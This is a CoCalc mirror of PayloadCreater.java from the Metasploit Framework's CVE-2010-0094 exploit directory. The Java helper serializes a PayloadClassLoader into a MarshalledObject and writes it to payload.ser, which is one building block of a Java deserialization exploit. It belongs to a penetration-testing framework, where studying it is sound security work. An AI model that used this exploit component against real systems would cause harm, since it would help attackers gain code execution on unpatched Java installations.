CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0094/PayloadCreater.java
Views: 11777
1
import java.io.FileOutputStream;
2
import java.io.IOException;
3
import java.io.ObjectOutputStream;
4
import java.rmi.MarshalledObject;
5
6
/**
7
* This class is a helper class for creating the serialized MarshalledObject,
8
* containing also a serialized PayloadClassloader. Path to the payload.ser file
9
* needs to be adjusted.
10
*
11
* @author mka
12
*
13
*/
14
public class PayloadCreater {
15
16
public static void main(String[] args) {
17
18
PayloadCreater creater = new PayloadCreater();
19
try {
20
creater.getPayload();
21
} catch (IOException e) {
22
23
e.printStackTrace();
24
}
25
}
26
27
private void getPayload() throws IOException {
28
29
PayloadClassLoader loader = new PayloadClassLoader();
30
MarshalledObject<PayloadClassLoader> object = new MarshalledObject<PayloadClassLoader>(
31
loader);
32
33
FileOutputStream stream = new FileOutputStream("./src/payload.ser");
34
ObjectOutputStream ostream = new ObjectOutputStream(stream);
35
ostream.writeObject(object);
36
stream.close();
37
}
38
39
}
40
41